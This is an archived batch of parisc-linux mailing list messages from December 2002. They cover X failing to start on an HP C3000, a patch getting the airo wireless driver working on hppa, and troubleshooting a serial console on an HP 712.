List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16998

Hi,

I have been able to install Debian on a C3000. But I am not able to start
X windows - "Fatal Error: No screens found".

The parisc-linux homepage says that a few issues remain with graphics
support on C3000. Is that the problem?

Has anyone been able to start X on c3000? Should I post the log files to
figure out what could be the problem?


Thanks in advance.
Bala




From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on C3000
Date: Tue, 3 Dec 2002 16:56:49 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20021203235649.GC6220@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0212031525140.30608-100000@dhcp-53-142.ece.utexas.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621990 18027 80.91.229.3 (22 Nov 2014 02:06:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: balak@ieee.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  3 16:56:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5AC344829; Tue,  3 Dec 2002 16:56:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0212031525140.30608-100000@dhcp-53-142.ece.utexas.edu>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16999

On Tue, Dec 03, 2002 at 03:31:06PM -0600, balak@ieee.org wrote:
> Has anyone been able to start X on c3000? Should I post the log files to
> figure out what could be the problem?

Not yet. Just post the dmesg output immediately after the c3k boots.
We'll be able to see what kind of gfx card you have from that.

See ftp://ftp.parisc-linux.org/kernels/c3000/ for my XF86Config-4
and kernels that work on my c3k. If you can't make forward progress
after looking at the XF86Config-4, then post the XF86 log files.

hth,
grant


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@b180.mmjgroup.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] airo.c patch for hppa
Date: Tue, 3 Dec 2002 22:06:40 -0700
Lines: 90
Approved: news@gmane.org
Message-ID: <20021204050640.GA22117@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621990 18031 80.91.229.3 (22 Nov 2014 02:06:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  3 22:06:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dh64.b180 (b180.mmjgroup.com [192.34.35.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AE1A4829
	for <parisc-linux@parisc-linux.org>; Tue,  3 Dec 2002 22:06:47 -0700 (MST)
Original-Received: by dh64.b180 (Postfix, from userid 1000)
	id 65092102BB; Tue,  3 Dec 2002 22:06:40 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17000

The patch below gets airo.c working on hppa.  Diff is vs 2.4.20 source.

The first part (chage to init_airo_card and it's callers) allows us to call
pci_enable_device like we need to.

The other part (the stuff inside #ifdef __hppa__) is a gross hack that works
around some issues between dino and the card during initialization where the
card fails to ack reads of several 2-byte aligned addresses.  With these
changes, I have a working PCI4800 in my B180.

It would, of course, be nice if at least part of this made it into the CVS
tree...

thoughts?
lamont

--- ../x/airo.c	2002-12-03 18:55:31.000000000 -0700
+++ drivers/net/wireless/airo.c	2002-12-03 21:20:32.000000000 -0700
@@ -1649,7 +1649,7 @@
 	return dev;
 }
 
-struct net_device *init_airo_card( unsigned short irq, int port, int is_pcmcia )
+struct net_device *init_airo_card( unsigned short irq, int port, int is_pcmcia , struct pci_dev *pdev )
 {
 	struct net_device *dev;
 	struct airo_info *ai;
@@ -1696,6 +1696,12 @@
 	dev->irq = irq;
 	dev->base_addr = port;
 
+	if ( !is_pcmcia && pdev ) {
+		if (pci_enable_device(pdev))
+			goto err_out_free;
+		pci_set_master(pdev);
+	}
+
 	rc = request_irq( dev->irq, airo_interrupt, SA_SHIRQ, dev->name, dev );
 	if (rc) {
 		printk(KERN_ERR "airo: register interrupt %d failed, rc %d\n", irq, rc );
@@ -2163,12 +2169,22 @@
 static u16 IN4500( struct airo_info *ai, u16 reg ) {
 	unsigned short rc;
 
+#ifdef __hppa__
+	if ((reg&3) && reg!=DATA0) {
+		unsigned int ri;
+		ri=inl(ai->dev->base_addr + (reg&~3));
+		rc=(ri>>(8*(reg&3)))&0xffff;
+	} else {
+		rc = inw( ai->dev->base_addr + reg );
+	}
+#else
 	if ( !do8bitIO )
 		rc = inw( ai->dev->base_addr + reg );
 	else {
 		rc = inb( ai->dev->base_addr + reg );
 		rc += ((int)inb( ai->dev->base_addr + reg + 1 )) << 8;
 	}
+#endif
 	return rc;
 }
 
@@ -2266,6 +2282,7 @@
 		printk(KERN_ERR "airo: Error checking for AUX port\n");
 		return ERROR;
 	}
+	
 	if (!aux_bap || rsp.status & 0xff00) {
 		ai->bap_read = fast_bap_read;
 		printk(KERN_DEBUG "airo: Doing fast bap_reads\n");
@@ -4008,7 +4025,7 @@
 {
 	struct net_device *dev;
 
-	dev = init_airo_card(pdev->irq,	pdev->resource[2].start, 0);
+	dev = init_airo_card(pdev->irq,	pdev->resource[2].start, 0, pdev);
 	if (!dev)
 		return -ENODEV;
 
@@ -4036,7 +4053,7 @@
 		printk( KERN_INFO
 			"airo:  Trying to configure ISA adapter at irq=%d io=0x%x\n",
 			irq[i], io[i] );
-		if (init_airo_card( irq[i], io[i], 0 ))
+		if (init_airo_card( irq[i], io[i], 0, 0 ))
 			have_isa_dev = 1;
 	}
 


From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 12:40:25 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621991 18032 80.91.229.3 (22 Nov 2014 02:06:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 04:41:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1954B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 04:41:03 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB4Beu822769
          for <parisc-linux@lists.parisc-linux.org>; Wed, 4 Dec 2002 10:40:56 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17001

I changed the console by booting de lifimage. The machine now boots without
a keyboard connected to it. Also when I push the power button it doesn't
turn off. So I'm pretty sure the console is now the serial device.

Now my problem is that I can't get any output. I'm using HyperTerminal 6.3
on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.
Do I need to reboot the 712 every time I try to connect to it? Or can I just
plug the cable into another COM port and try again?

Greetings,
Tim

----- Oorspronkelijk bericht -----
Van: "Richard Hirst" <rhirst@linuxcare.com>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>
CC: <parisc-linux@lists.parisc-linux.org>
Verzonden: maandag 2 december 2002 17:52
Onderwerp: Re: [parisc-linux] lifimage


> On Mon, Dec 02, 2002 at 05:13:50PM +0100, Tim Kemna wrote:
> > I need the lifimage to setup my console to be the serial device. So I
can't
> > use netboot. Am I right?
>
> This is a 712, right?  I guess you do need a working graphical console
> in order to boot the lifimage and make the config change.  Do you not
> have access to a PS/2 keyboard and (sync-on-green?) monitor for long
> enough to do that?  My 17" iiyama monitor and a no-name 19" here work on
> my 712.
>
> Richard
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 12:02:44 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20021204120244.GV24337@sleepie.demon.co.uk>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621991 18034 80.91.229.3 (22 Nov 2014 02:06:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 05:08:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AF494829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 05:08:34 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id BB9F99EE9C; Wed,  4 Dec 2002 12:02:44 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17002

On Wed, Dec 04, 2002 at 12:40:25PM +0100, Tim Kemna wrote:
> I changed the console by booting de lifimage. The machine now boots without
> a keyboard connected to it. Also when I push the power button it doesn't
> turn off. So I'm pretty sure the console is now the serial device.

Power button is completely unrelated to which console you are configured
for.  When things are working right, hitting the power button should
cause a clean shutdown of Linux followed by a power off.  Pretty neat.
There have been some issues in that area, but it worked for me last time
I tried.

> Now my problem is that I can't get any output. I'm using HyperTerminal 6.3
> on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.
> Do I need to reboot the 712 every time I try to connect to it? Or can I just
> plug the cable into another COM port and try again?

You can move your serial cable while the system is up, no need to
reboot.

Do you mean no output, or do you mean you see kernel boot messages but
no login prompt?

If you see nothing at all, suspect your cable - may need a crossover
rather than 1:1 cable (or visaversa), or suspect your terminal emulator.

In any case, if you had this running on graphical console and have now
switched, you need to modify /etc/inittab to enable a getty on the
serial port.  Otherwise, no login prompt.

Even though you have switched conosles, inittab still sets up a getty on
the graphical console; plug your monitor and keyboard in as well, and
you can probably log in via that to fix /etc/inittab.  Assuming you can
be bothered to move your monitor and keyboard one more time ;-)
Otherwise, perhaps you can telnet or ssh in to it over the network.

Beware the keyboard is not designed for hotpluging, so to be absolutely
safe, you should move that with both systems powered off.

Richard



From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 13:16:20 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <004001c29b8e$f47eb0c0$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl> <20021204120244.GV24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621991 18036 80.91.229.3 (22 Nov 2014 02:06:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 05:16:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2439B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 05:16:59 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB4CGp804545
          for <parisc-linux@lists.parisc-linux.org>; Wed, 4 Dec 2002 11:16:51 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17003

I don't see any output at all. Does it matter which emulation mode I use? I
now use VT100.

Greetings,
Tim

----- Oorspronkelijk bericht -----
Van: "Richard Hirst" <rhirst@linuxcare.com>
Aan: "Tim Kemna" <t.kemna@student.utwente.nl>
CC: <parisc-linux@lists.parisc-linux.org>
Verzonden: woensdag 4 december 2002 13:02
Onderwerp: Re: [parisc-linux] lifimage


> On Wed, Dec 04, 2002 at 12:40:25PM +0100, Tim Kemna wrote:
> > I changed the console by booting de lifimage. The machine now boots
without
> > a keyboard connected to it. Also when I push the power button it doesn't
> > turn off. So I'm pretty sure the console is now the serial device.
>
> Power button is completely unrelated to which console you are configured
> for.  When things are working right, hitting the power button should
> cause a clean shutdown of Linux followed by a power off.  Pretty neat.
> There have been some issues in that area, but it worked for me last time
> I tried.
>
> > Now my problem is that I can't get any output. I'm using HyperTerminal
6.3
> > on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.
> > Do I need to reboot the 712 every time I try to connect to it? Or can I
just
> > plug the cable into another COM port and try again?
>
> You can move your serial cable while the system is up, no need to
> reboot.
>
> Do you mean no output, or do you mean you see kernel boot messages but
> no login prompt?
>
> If you see nothing at all, suspect your cable - may need a crossover
> rather than 1:1 cable (or visaversa), or suspect your terminal emulator.
>
> In any case, if you had this running on graphical console and have now
> switched, you need to modify /etc/inittab to enable a getty on the
> serial port.  Otherwise, no login prompt.
>
> Even though you have switched conosles, inittab still sets up a getty on
> the graphical console; plug your monitor and keyboard in as well, and
> you can probably log in via that to fix /etc/inittab.  Assuming you can
> be bothered to move your monitor and keyboard one more time ;-)
> Otherwise, perhaps you can telnet or ssh in to it over the network.
>
> Beware the keyboard is not designed for hotpluging, so to be absolutely
> safe, you should move that with both systems powered off.
>
> Richard
>



From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 13:39:15 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <3DED9A28000001CB@ocpmta2.freegates.net>
References: <20021204120244.GV24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621992 18038 80.91.229.3 (22 Nov 2014 02:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Richard Hirst" <rhirst@linuxcare.com>,
	"Tim Kemna" <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 05:59:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 190944829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 05:59:26 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18JZ7X-00037J-00; Wed, 04 Dec 2002 13:59:19 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 4 Dec 2002 13:39:15 +0100
In-Reply-To: <20021204120244.GV24337@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17004

>
>If you see nothing at all, suspect your cable - may need a crossover
>rather than 1:1 cable (or visaversa), or suspect your terminal emulator.=

>
I am pretty sure that you need commonly named null-modem (ie crossover)
serial cable.

I do have to check if I still have somewhere the cable layout (sorry not
at disposal right now). 
But thing absolutely sure to be check is that pin 2 & 3 must be crossed
between the 2 plugs.

hth,
    Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Wed, 4 Dec 2002 13:26:22 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20021204132622.GZ24337@sleepie.demon.co.uk>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl> <20021204120244.GV24337@sleepie.demon.co.uk> <004001c29b8e$f47eb0c0$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621992 18040 80.91.229.3 (22 Nov 2014 02:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 06:32:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 637684829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 06:32:08 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 183129EE9C; Wed,  4 Dec 2002 13:26:22 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <004001c29b8e$f47eb0c0$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17005

On Wed, Dec 04, 2002 at 01:16:20PM +0100, Tim Kemna wrote:
> I don't see any output at all. Does it matter which emulation mode I use? I
> now use VT100.

vt100 or similar (e.g. vt102) should be fine.



From - Thu Nov 08 21:25:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] airo.c patch for hppa
Date: Wed, 4 Dec 2002 14:44:54 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20021204144454.P27991@parcelfarce.linux.theplanet.co.uk>
References: <20021204050640.GA22117@b180.mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621992 18041 80.91.229.3 (22 Nov 2014 02:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: LaMont Jones <lamont@b180.mmjgroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 07:45:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D00AA4829
	for <parisc-linux@parisc-linux.org>; Wed,  4 Dec 2002 07:44:59 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Jali-0004lv-00; Wed, 04 Dec 2002 14:44:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021204050640.GA22117@b180.mmjgroup.com>; from lamont@b180.mmjgroup.com on Tue, Dec 03, 2002 at 10:06:40PM -0700
